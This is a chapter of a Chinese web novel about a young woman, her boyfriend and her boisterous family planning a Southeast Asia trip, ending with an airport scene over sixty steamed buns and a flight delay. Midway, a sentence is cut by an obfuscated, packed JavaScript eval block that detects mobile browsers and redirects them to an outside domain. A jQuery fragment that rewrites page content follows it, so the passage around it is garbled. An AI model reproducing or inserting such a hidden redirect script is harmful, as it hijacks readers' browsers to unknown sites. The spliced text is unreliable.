方凛盯着常乐的侧脸,犹豫许久,终于开口:“听你爸说,你以后就留在家里了?” 常乐这才收回视线,转头望向他,脸上的笑意还未淡去,看得方凛一时出神。 常乐大方地承认:“是啊,我打算当护工。” 方凛释然一笑,“看来你已经找到答案了。” 答案? 常乐一时恍惚。 在最迷茫的那段日子里,她问遍了身边的人,可是,没有人能明确地告诉她,未来的路该怎么走。 她想要的答案,别人给不了,手机里找不到,书和电影里也没有。 她想起跟方凛采蘑菇的那天,她问过他,为什么他心甘情愿在这种小地方生活,还活得那么自洽,从不内耗,从不纠结。 方凛说,重要的不是在哪里生活,而是知道自己喜欢做什么,以及,喜欢过一种什么样的生活。 那么她呢?她喜欢做什么?喜欢过什么样的生活? “对,我找到了。”常乐说,“我喜欢现在的生活,不过,未来也许会变,谁知道呢?” 毕竟,人生的际遇是很奇妙的,没有谁的生活会一成不变。只要还活着,对自己的叩问就无法停止,她需要不断地去寻找新的答案。 终于把小胖墩安抚好,易诚和常乐跟方凛告别,走向停在路边的小车。 易诚系好安全带,却不急着开车。他看着常乐,故作随意地问:“你俩在聊什么答案不答案的?谁要考试了吗?” “嗯。”常乐一本正经道,“小马。” “谁?”易诚一脸疑惑。 “小马过河的小马啊。它刚跨过一条河,发现每个人的答案都是错的,也都是对的,但都不是它的答案。” 易诚若有所思,伸手揉了揉常乐的脑袋,说:“也许,生活本身就没有标准答案。” 常乐说:“对,人生的路不是问出来的,而是走出来的。” 她调整好座椅,直视前方,阳光穿透道路两旁的梧桐树,在空气中形成美妙的丁达尔效应,就像舞台上投下一道光束,在等待主角登场。 她说:“希望下次再过河时,她不要再瞻前顾后了。大胆往前走吧。” -- 出国游的攻略做得差不多了,常乐在晚餐桌上宣布,她打算带全家去旅游! 至于时间—— “我没问题。”常建民拍着胸脯保证,“我可以请假。去年的年假还没休呢,加上今年的,怎么着也能凑个十天。实在不行,我还可以生一场小病。” 林文娟抬手削了下他的脑袋,“呸!别乌鸦嘴啊。” 至于身体—— “我没问题!”姥爷立马站起身,绕着餐桌疾步走了一圈,然后原地表演高抬腿,甚至还想踢几个正步。 “行了行了。”常乐拦住他,“又不是要去攻占新马泰。带你去行了吧?” 至于预算—— 全家人齐刷刷看向家里的财政部长——林文娟。 眼神里的意思很明显:五个人,十天,三个国家,才四万块钱…… 年轻人可以特种兵穷游,老年人是真的吃不消啊。 林文娟故意板起脸,没好气地训斥常乐:“没钱你去旅什么游?没有金刚钻,就别揽这个瓷器活。” 常乐谄媚地说:“金刚钻我有啊,只是需要充一下电。富婆,财神爷,金主妈妈,你忍心看着姥姥姥爷跟我们一起挤青旅吗?” ……还道德绑架上了。 林文娟翻了个白眼,“要充多少?” “一个人两千就够了。”常乐伸出手指,笑嘻嘻地说,“总共一万。” 至于人数—— 本来是没什么可讨论的。但常乐刚开始恋爱,什么事都想带着男朋友一起,所以,她假装好心地提议:“咱们那么多行李,我一个人实在扛不动。姥姥姥爷年纪都大了,一路上都需要人照顾。要不咱们再雇一个挑夫吧?” “挑夫?”林文娟眉毛一挑,“多少钱?” “不要钱。”常乐厚着脸皮说,“人家是义工,全程自费。” “易诚啊?”林文娟问。 常乐小脸一红,“你怎么知道?” 林文娟翻了个白眼。 用脚指头都能想到,全天下只有这么一个人,甘当他们全家,准确地说,是甘当常乐的冤大头。 四个人你看看我,我看看你,都露出了意味深长的表情。 常建民率先发问:“他那个培训班怎么办?十天,他能请这么长时间的假?” 常乐应对自如:“能啊,到年底了,那些学生都要准备期末考,培训班也该停课了。” 四人又交换了个眼神。 ……看来是早就商量好了啊。 姥姥:“可是人家跟我们非亲非故的,一起出去旅游,不太好吧?” 常乐:“他之前陪你们去杭城,你怎么不说这种话呢?” 姥爷轻咳一声,慢悠悠地说:“其实吧,小区里早就有人看到你们在拉小手了。” 常乐面不改色:“不可能,肯定是有人在造谣。” 第一次谈恋爱,两人都有些紧张,不希望太高调。小区里人多眼杂,所以他们约会都选在外面,一回到小区,就拉开安全距离,装得跟陌生人一样。 都避嫌成这样了,还能传出绯闻?肯定是空穴来风! 姥爷不急不慢,如数家珍:“上次在万达,王大姐的孙子在奶茶店做兼职时看到的。上上次在青云山,丁老头爬山的时候看到的,还跟了你们一路。还有那次在慈湖公园……” “停!”常乐羞得满脸通红。 小城市就是麻烦啊,谈个恋爱,全城都是目击证人,就差给他俩开个直播了。 “好啦好啦,我承认,我跟易诚确实在一起了。不过——”怕父母想太多,常乐急忙补充道:“我跟他才刚开始谈,就是约了几次会,其他的什么都没干!” 姥姥惊奇地“哟呵”一声,林文娟和常建民对视一眼,都露出了洞察一切的笑容。 林文娟说:“谈个恋爱而已,又不是什么坏事,你遮遮掩掩的干什么?” “就是,易诚又不是外人。”常建民说,“虽然我很看好方师傅,你妈也更中意钟老师,但我们私底下聊过,都觉得易诚跟我们更像一家人。” 林文娟点点头,“他有我们家人的气质。” 常乐问:“什么气质?都不正常?” “呸!”林文娟笑骂一声,“你才不正常,你全家都不正常。” 常乐暗暗嘀咕,她这句话算是骂到点子上了。 疯狂内卷的妈,捅马蜂窝的爸,爱薅羊毛的姥姥,想当网红的姥爷,未婚先孕的狗,共同组成了一个鸡飞狗跳的家。 这么一想,易诚加入这个家,最大的作用,就是跟她一起当牛做马,伺候全家。 她突然很想给易诚竖一块牌子:“快逃!” “所以,咱家人到底有什么气质啊?”常乐好奇地问。 “……就是一种感觉,你懂吧?”林文娟也解释不清,“他跟我们本质上是一类人。” 常乐听得云里雾里的。 睡觉前,她跟易诚聊天,特意问到这个问题:“你觉得我们一家人给你什么感觉啊?” “挺好的啊。”易诚不明所以。 常乐追问:“我的家人们有什么共同的特点吗?” 易诚想了会儿,笑了:“都很恋家,算吗?” “算!”常乐笑了。 总算听到了一个满意的答案,今晚她可以睡个好觉了。 毕竟,被爱滋养长大的孩子才会恋家。 易诚如此,她也是。 -- 接下来,常乐开始订机票、订酒店、订门票、做每日行程表,钱哗啦啦地转出去…… 姥爷时不时来关心一下进度:“酒店订好了吗?听说仙本那有一种水屋,推开门就是大海,咱们住那儿吧?” 常乐面无表情,给他看网站截图:“每晚一千多。” “哦,那算了。”姥爷悻悻地走了。 出发前几天,姥姥突然提议:“咱们去问问老孙吧,她报过团,有经验。” “我看你就是想去显摆吧。”常乐一眼就看穿她的小心思,“孙婆婆病还没好全,别去打扰她了。” 姥姥说:“这怎么能叫打扰呢?我这是虚心求教。再说了,她老是待在家里也挺无聊的,咱们过去陪她唠唠嗑。” 果不其然,孙婆婆听说姥姥的来意,没好气地说:“我看你就是来显摆的。” 姥姥“啧啧”两声,“老孙,你真是小心眼儿。当初你旅游回来,跟我显摆了多久?我都没跟你计较。” 常乐想起当初她对孙婆婆许下的承诺,又想到这趟旅行没有带上她,不免有些愧疚。 她真心实意地说:“孙婆婆,你最想去什么地方?到时候我陪你去。” 孙婆婆摆摆手,“我啊,现在哪儿都不想去,就想回老家看看,给家里的亲人们磕个头,感谢他们在天之灵保佑我。” 翠姨在一旁接话:“妈,我都安排好了,元旦咱们就回去。” 孙婆婆继续说:“我还想去杭城看看俊臻。他工作一忙起来就忘了吃饭,我争取多待几天,给他做几顿家乡菜。” 想起远在异乡儿子,翠姨也不禁伤感起来:“是啊,一家人在一起,比什么都强。” “其实旅游也没什么意思。”孙婆婆瞟了一眼姥姥,酸溜溜地说,“等你出去玩了一圈,就会发现,哪儿都比不上家里。” 姥姥哼嗤一声,“我还没出发呢,你就想泼我冷水?赶紧的,趁你还没老年痴呆,给我回忆回忆,有什么要避雷的地方。” “避雷?”孙婆婆对网络词汇的熟悉程度显然比不上姥姥。 常乐解释道:“就是你在这趟旅程中,有没有上当受骗,或者觉得哪儿不值得去。” 孙婆婆回忆片刻,说:“在泰国,导游带我们去看了泰拳,太血腥了,吓得我一晚上没睡着。咱老年人心脏不好,最好不要看这种东西。” “你慢点说,我记一下。”姥姥从兜里掏出小本本和笔,一脸认真地记了起来。 孙婆婆继续说:“还有骑大象项目,也不推荐,那些大象真的很可怜。对了,还有人妖表演,啧啧啧……”她撇撇嘴,嫌弃地摇头,“男不男女不女的,穿得特别暴露,我们团还有小孩呢,怎么能看这种东西呢?千万别去。” 姥姥认真地做着笔记,常乐却越听越苦恼。 这可咋办?孙婆婆避雷的几个项目,她都已经订好了票。尤其是人妖秀,要是姥爷知道去不了,肯定会大失所望的。 “孙婆婆,”常乐急忙打断她,“那你有什么推荐的吗?” 聊起这个,孙婆婆明显兴奋多了:“有啊,你们去泰国一定要买那个什么木糖醇金丝燕窝,富含18种氨基酸,女人吃了美容养颜,老人吃了益寿延年,不管是自用还是送人都体面……” 常乐听得一愣一愣的。 接下来的半小时,孙婆婆就跟传销头子一样,给她们安利了各种产品,什么乳胶枕、泰香米、蜈蚣丸、老虎油、鳄鱼膏…… 广告词一套一套的,常乐不禁好奇,孙婆婆是被多少个导游轮番洗脑,才能熟练到这种程度啊? 离开孙婆婆家时,姥姥也发出同样的感慨:“幸好当初没跟她一起报团,不然这一路上得花多少冤枉钱啊。光是乳胶枕,她就买了多少个了?屁用没有,真是败家。” -- 出发那天,天还没亮,常乐就被姥姥暴力摇醒了。 “姥,咱们是十一点的飞机啊……”常乐的眼睛艰难地撑开一条缝儿,看了眼手机,才五点。 这小老太太想干嘛啊?徒步去机场吗? “坐车去机场要两个小时,还得提前两个小时候机,时间根本不够!”姥姥一把掀开她的被子,大力拍打着她的肩膀,“起来起来起来!” 鬼畜般的催促声持续了足足有一分钟,常乐终于不堪其扰,挣扎着爬了起来,像湘西的僵尸一样,被姥姥这个赶尸人驱使着,去完成一系列任务—— 刷牙、洗脸、换衣服、吃早饭、重新收拾一遍昨晚已经收拾好的行李、检查手机和各种证件…… 早上六点半,全家都收拾妥当,拖着行李箱穿过小区。轮毂滚动,发出一串哗啦声,吸引了不少晨练的老头老太太的目光。 这时,姥姥又不着急了,笑呵呵地跟每个熟人打招呼,然后故作不经意地提起:“嗐,我家乐乐说国内已经玩腻了,非要带我们出国玩,你说这孩子,真是爱折腾,哈哈哈……” 常乐只得一边笑着点头,接受老头老太太的夸赞,一边从牙缝里挤出声音:“姥,赶紧走吧,来不及了!” 紧赶慢赶终于来到小区门口,易诚已经背着登山包等候多时了。在他面前停了辆网约车,七座MPV,正好能塞得下他们六个人和一堆行李箱。 一见到他,常乐脸上立刻绽开了笑,把箱子扔给老父亲,兴冲冲地跑到易诚面前,问:“吃早饭了吗?” “吃过了。”也许是碍于她全家人都在场,易诚的表情比较收敛,只敢在眼里藏着笑意。 常乐又问:“你带羽绒服了吗?” 易诚一愣,“那里应该用不上吧?” “我也觉得,可姥姥非要让我带上,说海边风大。开什么玩笑……” 常乐叽叽喳喳地说个不停,直到常建民实在忍无可忍,拍拍车窗催促道:“有什么话不能上车再说?别墨迹了,赶紧的!” 终于,所有人都坐上了车,小小的车厢被塞得满满当当的。 网约车上路了,车窗外的风景渐渐从城市变成郊外,从熟悉变得陌生。 天空阴沉沉的,压着厚重的云。常乐看着高速路两旁高大的杨树,叶子已经干枯,稀稀拉拉地挂在枝头,不禁想起许多年前,她去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295818|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大学报道的那天,也是全家人一起出动,挤在一辆小车里,后备箱塞满了她的行李和各种零食水果。 那天,两旁的杨树高大笔挺,郁郁葱葱,在风中惬意地摇晃着叶子,仿佛未来在向她招手。 他们来到学校,陪她报到、登记、领军训装备,又买了一堆洗漱用品,一起去帮她收拾宿舍。 宿舍面积不大,一下子涌进来五个人,显得格外拥挤。 常建民负责擦桌子柜子,林文娟爬到上铺铺床,姥姥把带来的水果洗干净了,分给常乐的室友们吃。 姥爷则背着手楼上楼下到处溜达,检查楼里的各种设备,然后向常乐汇报情况:“每层楼都有打水机和洗衣机,要刷学生卡才能用。走廊尽头有个小阳台,你可以在那里晒晒被子。对了,三楼的楼梯扶手坏了一截,你下楼梯时注意点……” 常乐一边吃着葡萄,一边心不在焉地说:“知道啦知道啦,你们放心吧。” 那时候,她的心中充满了对大学生活的憧憬,迫不及待地想离开家,奔向独立自由的生活。 现在想想,她之所以每次出发都无所畏惧,是因为心里清楚,不管她飞得有多笨拙,也不管外面的风雨有多大,她的家人永远会稳稳地托住她。 “吃黄瓜不?”姥姥扭头递来一根小黄瓜,将常乐的思绪拉回现实,“已经洗干净了。” 常乐接过小黄瓜,啃了一口,感觉嘴里寡淡无味。她问:“没有别的水果吗?” “还有小番茄,在袋子底下,我懒得翻。” “这次没带水煮蛋吧?”常乐心有余悸地问。 上次去杭城旅行,她吃了无数个水煮蛋,导致现在一想到那个味道,胃里就翻江倒海。 姥姥说:“没有。” “真的?”常乐对此表示怀疑。 “放心吧,真没有。”姥姥信誓旦旦地说,“出去玩嘛,就要吃点好的。” 常乐啧啧感叹:“不容易啊。” 经过她坚持不懈的改造,姥姥终于懂得享受生活了,为GDP做贡献是指日可待。 到了机场,时间还早,排队的人不多,他们办理值机和托运行李都很顺利。 到了安检这一关,姥姥随手提的行李包被翻了个底朝天,安检小哥从里面提起一个大号外卖袋,打开一看,几层塑料袋包裹得严严实实,里面是一团团白花花的东西。 “姥姥!”常乐震惊地看向姥姥,“这啥啊?” 姥姥一脸理直气壮:“包子啊,我在菜市场门口那家大胖包子铺买的,早上的第一锅。” 塑料袋终于被安检小哥解开了,鲜香的气味扑鼻而来。看袋子上的水汽,包子还是热乎的。 常乐都无语了:“姥!你带这个干嘛?” 姥姥:“吃啊。你不是最喜欢吃他们家的酱肉包吗?” 常乐简直欲哭无泪。 原来,姥姥说的“要吃点好的”,就是从水煮蛋,升级成了肉包子。 安检小哥眉头拧成了疙瘩。他粗略地数了数,数不清,只得问姥姥:“老太太,你带了多少个包子啊?” “六十个。三十个鲜肉的,三十个酱肉的。”姥姥不解地问,“怎么,包子都不能带吗?” 常乐:“……” 带一两个应该没问题,可是你这么大的阵仗,搞得跟走私一样,实在是很可疑啊。 安检小哥面露难色,解释道:“我们这边是可以带进去,但是我看你的机票,要去的地方是新加坡,那边海关查得很严,肉类制品是不能入境的。” “啊?”姥姥傻眼了,“啥意思?” 常乐很快反应过来:“意思是,你必须在过海关之前解决掉这些包子,要么吃掉,要么扔了。” 对于节俭了一辈子的姥姥来说,浪费粮食简直是大逆不道。 于是,六个人找到登机口后,便围坐在一起,认真地探讨起该如何处置这堆包子。 林文娟简直头疼:“妈,你带就带吧,还带这么多!坐飞机还怕饿着了不成?” 姥姥振振有词道:“老孙说新加坡的消费高,吃饭特别贵,我就想着,咱们要在那儿玩两天,一人一天五个包子,六个人就是六十个。反正两天时间也坏不了。” “你这……”林文娟竟无法反驳,只得长叹一口气。 “算了,买都买了,咱们开始吃吧。”易诚主动替姥姥解围,“离登机还有一个小时,来得及。” 常乐虚弱无力地说:“不是时间问题,是胃容量的问题。有几个人能在一个小时内吃完十个包子啊?” 众人陷入一片沉默。 最后,还是姥姥发话了:“能吃多少算多少,吃不完就留到飞机上当午餐。包子两块钱一个,总共花了我一百二呢,总不能浪费了吧?” 大家齐刷刷地叹了口气。 还能怎么办?吃呗。 常乐一边往嘴里塞包子,一边懊恼地想,她特意选了个中午的航班,就是为了蹭一顿飞机餐。 可现在呢…… 唉,真是人算不如老人算。 吃到第四个的时候,常乐撑得受不了了,从椅子上站起,揉着肚子,扭动腰身,一连打了几个饱嗝。 她郑重地宣布退出比赛:“谁爱吃谁吃,反正我不吃了。” 别说留着肚子吃飞机餐了,现在她多喝一口水,恐怕都会吐出来。 姥姥瞪她一眼,叨叨道:“真是不中用。要是在饥荒年代,别说一人十个了,就是二十个,我都吃得完。” 常乐去了趟洗手间,又在登机大厅里来来回回地溜达,终于在胃里腾出了一点空间。 她回到包子堆前,继续干饭。 转眼到了预计登机的时间,登机口前排起了长队。 常乐不自觉加快了吃包子的速度,还没嚼完便咽了下去,差点把自己噎住。 林文娟拍拍她的后背,说:“慢点儿吃,别着急,在飞机上还能继续吃呢。” 常乐使劲儿往下吞咽,终于把卡在喉咙里的那块包子皮给咽了下去。 其他人也纷纷加快速度。易诚一手一个包子,嘴巴塞得鼓鼓囊囊的,常建民一边吃一边捶打着胸口,给自己顺气,姥爷干脆只吃包子馅,包子皮扔回袋子里,等到最后再一起消灭。 就在这时,大厅上方传来一道广播声:“前往新加坡的旅客请注意,我们抱歉地通知您,您乘坐的航班由于天气原因不能按时起飞,起飞时间待定,在此我们深表歉意……” 常乐动作一顿,半个包子停在嘴边。她竖着耳朵又听了一遍,忍不住笑了起来。 “哈哈,真是人算不如天算。” 登机口的人群散开了。 窗外下起了淅淅沥沥的小雨,停机坪上湿漉漉的,银灰色的机翼反射着水光。 一个小时后,同样的广播再次响起,周围的乘客一阵躁动,抱怨声此起彼伏。 他们六个倒是心平气和。反正已经吃饱喝足了,就安心等着呗。 又过了一个多小时,天空终于放晴。登机口处也开始排队检票。 常乐在心里盘算着,现在登机,预计过半个小时起飞,飞行时间四个半小时,怎么着他们也能在飞机上蹭到一顿晚饭。 “哈!”她忍不住笑出了声,心里得意极了。 人生充满了阴差阳错,但只要耐心等候,就总能等到柳暗花明。 易诚正努力咽下最后一口包子,看到常乐脸上的笑容,以为她在笑自己吃相滑稽,不由得羞红了脸。 他问:“你笑啥?” “笑你傻呗。”常乐拍拍他的后背,“急什么?慢点吃。” 你慢慢来,别慌张。 我们的时间还很长。 飞机和人一样,遇到恶劣的天气,也想歇一歇,躺一躺。 但延误的人生,终会重新起航。 飞得累了,记得回头看,家是启程的港湾,也是归航的方向。